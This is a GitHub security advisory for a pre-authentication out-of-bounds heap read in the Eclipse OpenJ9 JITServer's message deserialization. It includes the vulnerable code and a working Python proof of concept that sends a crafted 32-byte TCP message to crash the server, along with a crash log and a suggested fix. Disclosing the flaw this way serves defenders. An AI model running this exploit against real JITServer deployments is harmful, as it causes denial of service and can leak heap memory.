# Pre-auth remote OOB heap read in JITServer Message::deserialize() via crafted DataDescriptor._size

High **iliescuioana** published **GHSA-q393-vr4c-969r** 3 hours ago

**Package**

**eclipse-openj9**

**Affected versions**

>=0.21 && < 0.59

**Patched versions**

0.59

## Description

### Summary

A pre-authentication remote attacker can crash Eclipse OpenJ9 JITServer by sending a 32-byte crafted TCP message. The `MessageBuffer::readData()` function advances an internal cursor by an attacker-controlled size value without any bounds checking, causing an out-of-bounds heap read that results in a segmentation fault (SIGSEGV). No authentication, encryption, or valid JIT compilation request is required. This affects all deployments of JITServer running without TLS client authentication (the default configuration).

### Details

**Vulnerable code path:**

**1.** **`CommunicationStream::readMessage()`** ( `runtime/compiler/net/CommunicationStream.cpp` , line ~75) reads a message from the TCP socket. The first 4 bytes define `serializedSize` , and the full message is read into a `MessageBuffer` .

**2.** **`Message::deserialize()`** ( `runtime/compiler/net/Message.cpp` , line ~62) reconstructs the message. It reads `numDataPoints` from the attacker-controlled `MetaData` struct, then iterates:

```
void Message::deserialize()
{
```

```
    _buffer.readValue<MetaData>();
    uint32_t numDataPoints = getMetaData()->_numDataPoints;
    _descriptorOffsets.reserve(numDataPoints);
    for (uint32_t i = 0; i < numDataPoints; ++i) {
        uint32_t descOffset = _buffer.readValue<DataDescriptor>();
        _descriptorOffsets.push_back(descOffset);
        _buffer.readData(getLastDescriptor()->getTotalSize()); // ← BUG
    }
}
```

**3.** **`MessageBuffer::readData()`** (`runtime/compiler/net/MessageBuffer.hpp`, line ~154):

```
uint32_t readData(uint32_t dataSize)
{
    char *data = _curPtr;
    _curPtr += dataSize; // Advance cursor — ZERO BOUNDS CHECK
    return offset(data);
}
```

The code's own comment says: *"Assumes that the buffer contains at least dataSize unread bytes"* — but this assumption is violated when `dataSize` comes from `DataDescriptor._size`, which is attacker-controlled.

**4.** **`DataDescriptor.getTotalSize()`** (`runtime/compiler/net/Message.hpp`, line ~135) simply returns `_size`:

```
uint32_t getTotalSize() const { return _size; }
```

`_size` is a `uint32_t` field (line ~222) read directly from the message buffer — fully attacker-controlled.

**Attack chain:** An attacker sets `DataDescriptor._size` to a value larger than the remaining buffer (e.g., 0x10000000 = 256MB). `readData()` advances `_curPtr` 256MB past the buffer end. On the next loop iteration, `readValue<DataDescriptor>()` dereferences `_curPtr` which now points to unmapped heap memory, causing SIGSEGV.

**Authentication:** JITServer listens on TCP port 38400 by default with no authentication. TLS is optional and not enabled by default. The crash occurs in the message deserialization layer, before any protocol-level validation.

## PoC

**Environment:**

- IBM Semeru Runtime Open Edition 21.0.6.0 (build 21.0.6+7-LTS)
- Eclipse OpenJ9 VM (build openj9-0.49.0)
- Ubuntu 24.04 aarch64

**Step 1: Start JITServer**

```
./jdk-21.0.6+7/bin/jitserver -XX:JITServerPort=48400 &
# Output: JITServer is ready to accept incoming requests
```

**Step 2: Run the exploit (poc_jitserver_oob.py)**

```
#!/usr/bin/env python3
"""
PoC: Eclipse OpenJ9 JITServer pre-auth remote crash
Sends a 32-byte TCP message that causes SEGV in Message::deserialize()
Author: Sebastian Josue Alba Vives (0xS4bb1)
"""
import socket, struct, sys, time

host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 48400

# MetaData: version=0, config=0, type=0, numDataPoints=2
metadata = struct.pack('<IIHH', 0, 0, 0, 2)

# DataDescriptor #0: type=INT32, pad=0, offset=0, vecsize=0, _size=256MB
desc0 = struct.pack('<BBBBI', 0, 0, 0, 0, 0x10000000)

# DataDescriptor #1: filler (never reached from buffer)
desc1 = b'\x42' * 8

body = metadata + desc0 + desc1
msg = struct.pack('<I', 4 + len(body)) + body

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print(f"[+] Connected to JITServer {host}:{port} (no auth required)")
s.sendall(msg)
print(f"[+] Sent {len(msg)}-byte exploit (DataDescriptor._size=0x10000000)")
time.sleep(2)
try:
    resp = s.recv(4096)
    print(f"[*] Response: {len(resp)} bytes")
except:
    print(f"[+] Connection dropped (server thread crashed)")
s.close()
```

**Step 3: Observe crash in JITServer terminal**

```
Unhandled exception
Type=Segmentation error vmState=0x00000000
J9Generic_Signal_Number=00000018 Signal_Number=0000000b Error_Value=00000000
Signal_Code=00000001
InaccessibleAddress=0000E5F2C280B9AC

----------- Stack Backtrace -----------
```

```
_ZN9JITServer7Message11deserializeEv+0x94 (libj9jit29.so+0x4b59d4)
_ZN9JITServer19CommunicationStream11readMessageERNS_7MessageE+0x10c
(libj9jit29.so+0x4b319c)
_ZN9JITServer12ServerStream18readCompileRequestI...+0x34 (libj9jit29.so+0x1b4e34)
```

The crash was reproduced 3 times with different `_size` values (256MB, 1GB, 2GB), all crashing at the same instruction in `Message::deserialize()+0x94`, confirming the root cause is the missing bounds check in `readData()`.

### Impact

**Pre-authentication remote denial of service** against any Eclipse OpenJ9 JITServer deployment. An attacker with network access to the JITServer port (default 38400) can:

- Crash JIT compilation threads with a single 32-byte TCP packet
- Repeatedly crash all compilation threads, causing complete JIT compilation failure
- Force the JVM to fall back to interpreted mode or become unresponsive

This affects all IBM products deploying JITServer: IBM Semeru Runtime, WebSphere Liberty, IBM Cloud environments using JITServer for shared JIT compilation.

The OOB read also constitutes an information disclosure primitive (CWE-125): with a smaller `_size` value (0x00100000), the server returned 48 bytes of response containing heap data that was not part of the original message, including the value `0xFFFFFFFFFFFFFFFF` from uninitialized heap memory.

**Suggested fix:** Add bounds validation in `MessageBuffer::readData()`:

```
uint32_t readData(uint32_t dataSize)
{
    if (_curPtr + dataSize > _storage + _capacity) {
        throw JITServer::StreamFailure("readData exceeds buffer bounds");
    }
    char *data = _curPtr;
    _curPtr += dataSize;
    return offset(data);
}
```

## Credit

Discovered and reported by Sebastian Josue Alba Vives (0xS4bb1)


- GitHub: **@Sebasteuo**
- Email: sebasjosue84@gmail.com

### Severity

High 8.7 / 10

**CVSS v4 base metrics**

**Exploitability Metrics**

| | |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Attack Requirements | None |
| Privileges Required | None |
| User interaction | None |

**Vulnerable System Impact Metrics**

| | |
|---|---|
| Confidentiality | None |
| Integrity | None |
| Availability | High |

**Subsequent System Impact Metrics**

| | |
|---|---|
| Confidentiality | None |
| Integrity | None |
| Availability | None |

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

### CVE ID

CVE-2026-6918

### Weaknesses

▶ CWE-125

### Credits

 **Sebasteuo** Reporter